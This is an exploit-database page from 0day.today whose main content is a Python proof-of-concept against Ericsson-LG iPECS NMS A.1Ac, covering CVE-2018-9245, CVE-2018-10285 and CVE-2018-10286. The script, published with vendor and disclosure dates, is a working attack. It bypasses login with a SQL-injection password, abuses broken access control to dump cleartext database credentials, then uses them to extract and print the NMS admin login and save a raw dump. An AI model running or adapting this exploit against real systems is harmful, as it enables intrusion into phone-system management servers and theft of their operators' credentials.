0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Ericsson-LG iPECS NMS A.1Ac - Cleartext Credential Disclosure Exploit
Author
Risk
[
Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
# -*- coding: utf-8 -*- # Exploit Title: Ericsson-LG iPECS NMS - Cleartext Cred. Dump # Vendor Notification: 03-03-2018 - No response # Initial CVE: 04-04-2018 # Disclosure: 21-04-2018 # Exploit Author: Berk Cem Göksel # Contact: twitter.com/berkcgoksel || bgoksel.com # Vendor Homepage: http://www.ipecs.com/ # Version: A.1Ac and possibly earlier # Tested on: Windows 2008 R2 x64 # CVE-2018-9245: Multiple SQL injections # CVE-2018-10285: Incorrect access control # CVE-2018-10286: Sensitive information disclosure #--------Description--------# # # # The Ericsson-LG iPECS NMS version A.1Ac and possibly earlier disclose sensitive # information such as cleartext database and NMS login credentials, use incorrect # access control mechanisms, are vulnerable to MiTM attacks and are prone to # SQL injection attacks on multiple parameters. # # This script dumps some sensitive information. # # # Why use it? # # Normally, you can bypass the login through the SQLi but will get "kicked out". # Thankfully, we can leverage this to extract the actual admin credentials for # the web app. In order to do this, we must first dump the database # credentials in cleartext. # # # Usage = python cred_dump.py IP_adress port # Example = python cred_dump.py 192.168.1.35 80 from sys import argv import sys import os import time import requests import re if len(argv) != 3: print "The script takes two mandatory arguments." print "\nExample usage: python cred_dump.py 192.168.1.35 80" sys.exit("Exiting...") arg,IP,port=argv #Log in through SQLi. Otherwise the next POST request is rejected. sqli_path = "/nms/php/module/main/main_login.php" sqli_url = "http://" + IP + ":" + port + sqli_path sqli_cookies = {"mainTab_selectedChild": "sysinfoTab"} sqli_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://192.168.1.55/index.html", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"} sqli_data={"id": "1", "passwd": "1' or 1=1--"} r = requests.post(sqli_url, headers=sqli_headers, cookies=sqli_cookies, data=sqli_data) print(r.status_code, r.reason) time.sleep(1) #Thanks to incorrect access control we can #dump cleartext database credentials dump_path = "/nms/php/module/main/main_start.php" dump_url = "http://" + IP + ":" + port + dump_path nms_cookie = {"mainTab_selectedChild": "sysinfoTab"} nms_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://192.168.1.55/nms/index.html", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest", "Connection": "close"} nms_data={"command": "nms_start", "client_id": "20"} r2 = requests.post(dump_url, headers=nms_headers, cookies=nms_cookie, data=nms_data) print(r2.status_code, r2.reason) db_cred_dump = r2.content time.sleep(1) #Extract db user and db pass from the dump m = re.search(r"db_user:'(.*)'.*db_pwd:'([^']*)", db_cred_dump) if m is not None: postgre_db_user = m.group(1) postgre_db_pwd = m.group(2) else: print "Something went wrong parsing the credentials. Check the dump manually." client_id = "2" #Doesn't really matter user_id = "10" #Doesn't matter either db_user = postgre_db_user # This does matter db_pwd = postgre_db_pwd # So does this #Use db user and password to extract admin credentials for the NMS users_path = "/nms/php/module/init/module_init.php" users_url = "http://" + IP + ":" + port + users_path users_cookies = {"mainTab_selectedChild": "sysinfoTab"} users_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://192.168.1.55/nms/index.html", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest", "Connection": "close"} users_data={"command": "init_configuration", "client_id": "2", "user_id": user_id, "db_user": db_user, "db_pwd": db_pwd, "mfimSeq": "0", "req_system_id": "0", "req_system_name": ''} r3 = requests.post(users_url, headers=users_headers, cookies=users_cookies, data=users_data) print(r3.status_code, r3.reason) user_dump = r3.content print "Done. You can log in to the postgresql database using the below credentials." print "\ndb_user: " + postgre_db_user print "db_pwd: " + postgre_db_pwd print "\nAnd/Or you can log in to the NMS using the following credentials" m1 = re.search(r"userList:\[\[\d,'([^']*)','([^']*)", user_dump) if m1 is not None: nms_admin = m1.group(1) nms_pwd = m1.group(2) print "\ndb_admin: " + nms_admin print "db_pwd: " + nms_pwd else: print "\nDid not get nms_admin and nms_pwd. Check the dump manually." dumpfile = open("ipecsnms_dump.txt","w") dumpfile.write(db_cred_dump) dumpfile.write(user_dump) dumpfile.close() print "\nRaw output written to ipecsnms_dump.txt for further username and group enumeration." print "Have fun!" # 0day.today [2024-11-16] #